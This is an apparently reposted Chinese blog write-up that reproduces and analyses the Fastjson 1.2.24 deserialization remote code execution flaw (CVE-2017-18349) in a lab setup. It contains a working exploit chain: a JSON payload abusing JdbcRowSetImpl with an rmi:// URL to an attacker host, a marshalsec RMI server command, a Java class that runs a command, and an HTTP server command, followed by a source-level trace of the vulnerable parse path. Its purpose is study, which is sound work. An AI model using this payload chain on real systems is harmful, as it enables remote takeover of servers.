Fastjson 1.2.24 Rce 漏洞復現&分析


一、漏洞背景

漏洞編號:CVE-2017-18349

二、漏洞復現

poc源於https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

計算器poc

POST /FastjsonWeb_war/json HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 147

{           
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit",
	"autoCommit":true
}

rmi:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.52.129:8000/#rce_1_2_24_exploit" 9999

Class:

import java.lang.Runtime;
import java.lang.Process;

public class rce_1_2_24_exploit {
    public rce_1_2_24_exploit(){
        try {
            Runtime.getRuntime().exec("calc.exe");

        } catch (Exception var2){
            var2.printStackTrace();
        }
    }

    public static void main(String[] args) {
        new rce_1_2_24_exploit();
    }
}

http:

python -m SimpleHTTPServer 8000

三、漏洞分析

網絡上關於該漏洞的分析的文章已經非常多了,這里做一個大概的分析,執行過程分為兩個大部分。

(1)fastjson通過反序列化,將json中指定的字符串對象所屬的類的名稱(通過反射的方式)完成還原對象的過程。

(2)又因為可以隨意還原大部分對象並以此進行調用,因此可以通過這個方式去利用某些類進行遠程命令執行。又稱之為利用鏈。

1、反序列化過程

構造payload進行攻擊

image-20201115214658175

該接口對應的控制器如下,並且加上斷點。

image-20201115214622379

繼續跟進parse

進入parse方法中

image-20201115215650068

DefaultJSONParser的構造方法主要在進行解析前的初始化操作。其中ParseConfig.getGlobalInstance()方法將返回global參數。

image-20201115220105446

global變量則是有newParserConfig初始化而來,溯源過程如下

image-20201115220330289

最終逆向回去則得到的是最終通過方法重載的方法調用,主要包括被禁止調用的方法等等。

image-20201115221141967

初始化操作

image-20201115221916049

回到DefaultJSONParser,進入到parse方法中進行解析

image-20201115222417000

由於在上一步初始化操作時已經可以看到當第一個字符為“{”時,lexer.token為12,因此直接進入case12的分支。

image-20201115222810836

開始進入解析操作,取出第一個字符,並且判斷該字符是否為雙引號,若為雙引號,則意味着key的開始

image-20201115223210439

通過scansybol將key的字符串取出來,並切判斷該json是否為正常的json,若不正常則拋出異常

image-20201115223759068

此時key的值已為@type。繼續往下分析當key的名字取出來之后,則判斷該key是否為@type,若為@type則調用繼續調用scanSymbol將key的鍵值取出來,然后使用TypeUtils.loadClass對key的鍵值即該類進行加載進行的加載

image-20201115224352331

該加載流程為,首先獲取默認的類加載器

image-20201115224807070

loadClass加載時,首先判斷mappings是否存在,若有則直接返回該mappings中的該類的clazz對象,若無則重新加載到mappings中。

image-20201115230219566

接着上面的case12流程繼續走,獲取反序列化器

image-20201115232416131

image-20201115232256059

(神奇的是第一次調用的時候deserializer不為空,后來才發現為空於是跟進起重新進行反序列化器的構造)

調用newInstance進行實例化

image-20201116005317986

跟進deserialize方法

image-20201116014249574

轉向重載的構造方法

image-20201116014409174

(但是其下一步的asm當中的方法貌似沒辦法調試,目前對fastjson源碼還沒有很熟暫且擱置)

image-20201116014441293

繼續跟進

image-20201116014604779

其deserialize方法中在遇到@type之后,通過循環去處剩下的key和value值進行解析(通過ScanSymbol)

image-20201116014714526

此時此刻獲取到key的值為dataSourceName

image-20201116015323154

再次循環取出key為autoCommit

image-20201116015644605

最終進入parseField方法

image-20201116015844205

這一段有很長的調用鏈,太復雜了,直接跟到DefaultDeserializer類的this.setValue方法,將其他key取出來的值直接作為參數復制給com.sun.rowset.JdbcRowSetImpl,為內部屬性賦值,而在賦值過程中需要調用其內部屬性的set方法,如autoCommit的復制最終會調用setAutoCommit方法。

image-20201116020524333

而在setAutoCommit方法中可以看到其調用了connect方法

image-20201116021148985

connect方法中,默認通過jndi的方式(lookup方法)對數據源進行獲取,若lookup方法中的參數可控,則會造成命令執行,而其中的dataSourceName恰好是我們可控的,因此便可構造惡意的rmi服務進行攻擊。

image-20201116021423010

四、參考

https://mp.weixin.qq.com/s/hPDFCRWsKSA8_72OIFYfAA

https://mntn0x.github.io/2020/04/07/Fastjson漏洞復現/#1-2-23版本反序列化RCE


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM